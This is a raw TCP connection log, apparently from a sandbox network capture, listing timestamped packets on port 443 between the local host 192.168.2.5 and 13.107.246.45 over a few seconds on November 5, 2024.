Nov 5, 2024 22:44:47.345393896 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.345407009 CET	50030	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.345412016 CET	443	50030	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.348362923 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.348391056 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.348501921 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.348644018 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.348655939 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.359638929 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.360059023 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.360078096 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.360651016 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.360656977 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.459526062 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.459733963 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.459897041 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.459897041 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.459897041 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.462662935 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.462688923 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.462754011 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.462893009 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.462902069 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.488432884 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.488851070 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.489666939 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.489727020 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.489739895 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.489756107 CET	50032	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.489761114 CET	443	50032	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.503365993 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.503395081 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.503580093 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.503667116 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.503678083 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.770879030 CET	50031	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.770895004 CET	443	50031	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.805999994 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.806623936 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.806651115 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.807130098 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.807136059 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.826210976 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.826531887 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.826544046 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.826914072 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.826919079 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.936803102 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.939265966 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.939325094 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.939421892 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.939421892 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.940854073 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.940866947 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.940876961 CET	50033	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.940882921 CET	443	50033	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.944380045 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.944405079 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.944495916 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.944624901 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.944639921 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.958317995 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.958386898 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.958450079 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.958604097 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.958604097 CET	50034	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.958621025 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.958630085 CET	443	50034	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.960587978 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.960617065 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:47.960705042 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.960808992 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:47.960825920 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.080091953 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.080583096 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.080599070 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.081049919 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.081056118 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.214232922 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.214252949 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.214283943 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.214307070 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.214320898 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.214484930 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.214504957 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.214517117 CET	50035	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.214520931 CET	443	50035	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.216768026 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.216797113 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.216862917 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.216953039 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.216965914 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.236150026 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.236455917 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.236474037 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.236825943 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.236830950 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.249207973 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.249598980 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.249615908 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.249974966 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.249979973 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.364654064 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.367764950 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.367820978 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.367831945 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.367901087 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.367952108 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.367984056 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.367997885 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.368012905 CET	50037	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.368016958 CET	443	50037	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.371169090 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.371196985 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.371282101 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.371437073 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.371443987 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.379437923 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.379487991 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.379534960 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.379652977 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.379652977 CET	50036	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.379662037 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.379668951 CET	443	50036	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.381871939 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.381911993 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.381974936 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.382091999 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.382107019 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.679779053 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.680337906 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.680362940 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.680798054 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.680803061 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.772408962 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.772878885 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.772902966 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.773222923 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.773227930 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.810877085 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.811141014 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.811199903 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.811232090 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.811232090 CET	50038	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.811244011 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.811253071 CET	443	50038	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.813812971 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.813843012 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.813920021 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.814027071 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.814039946 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.914911032 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.914973021 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.915026903 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.915208101 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.915221930 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.915231943 CET	50039	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.915239096 CET	443	50039	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.917778969 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.917809963 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.917901039 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.918035030 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.918050051 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.938203096 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.938561916 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.938577890 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:48.938977003 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:48.938982010 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.108752012 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.109318018 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.109334946 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.109636068 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.109639883 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.133385897 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.133733988 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.133749008 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.134119987 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.134126902 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.191265106 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.191433907 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.191602945 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.191602945 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.191602945 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.194401026 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.194441080 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.194525003 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.194679976 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.194698095 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.239018917 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.239141941 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.239281893 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.239346981 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.239361048 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.239371061 CET	50042	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.239375114 CET	443	50042	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.241446018 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.241467953 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.241538048 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.241669893 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.241684914 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.304569960 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.304738998 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.304795027 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.312330961 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.312342882 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.312374115 CET	50041	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.312378883 CET	443	50041	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.315442085 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.315463066 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.315526009 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.315859079 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.315869093 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.505141020 CET	50040	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.505167961 CET	443	50040	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.543535948 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.543975115 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.543998003 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.544413090 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.544419050 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.638919115 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.639264107 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.639278889 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.639626026 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.639631987 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.673501968 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.673654079 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.673701048 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.673712969 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.673763990 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.673926115 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.673940897 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.673949957 CET	50043	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.673954964 CET	443	50043	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.676773071 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.676831007 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.676913023 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.677256107 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.677269936 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.769185066 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.769356966 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.769512892 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.769512892 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.769512892 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.771620989 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.771648884 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.771714926 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.771821022 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.771832943 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.925700903 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.926161051 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.926187992 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.926651955 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.926656961 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.987474918 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.988073111 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.988087893 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:49.988919020 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:49.988924980 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.066370010 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.066735029 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.066761017 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.067172050 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.067176104 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.083254099 CET	50044	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.083268881 CET	443	50044	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.105021954 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.105051041 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.105089903 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.105091095 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.105132103 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.105249882 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.105263948 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.105272055 CET	50045	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.105277061 CET	443	50045	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.107862949 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.107892036 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.107958078 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.108063936 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.108076096 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.126909018 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.127051115 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.127103090 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.127151966 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.127162933 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.127170086 CET	50046	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.127175093 CET	443	50046	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.129281044 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.129296064 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.129360914 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.129456043 CET	50052	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.129470110 CET	443	50052	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.202543974 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.202584028 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.202644110 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.202651978 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.202816010 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.202821016 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.202831030 CET	50047	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.202913046 CET	443	50047	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.204859018 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.204878092 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.204952002 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.205092907 CET	50053	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.205102921 CET	443	50053	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.418715000 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.419284105 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.419305086 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.419732094 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.419735909 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.551650047 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.551697969 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.551742077 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.551933050 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.551950932 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.551959991 CET	50048	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.551964998 CET	443	50048	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.554866076 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.554898977 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.554961920 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.555080891 CET	50054	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.555094004 CET	443	50054	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.720071077 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.720659018 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.720685005 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.721008062 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.721014977 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.846498966 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.847110033 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.847130060 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.847418070 CET	50051	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.847423077 CET	443	50051	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.848774910 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.848803997 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.848855019 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.848917007 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.849195957 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.849208117 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.849215984 CET	50049	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:50.849220037 CET	443	50049	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:50.851958990 CET	50055	443	192.168.2.5	13.107.246.45
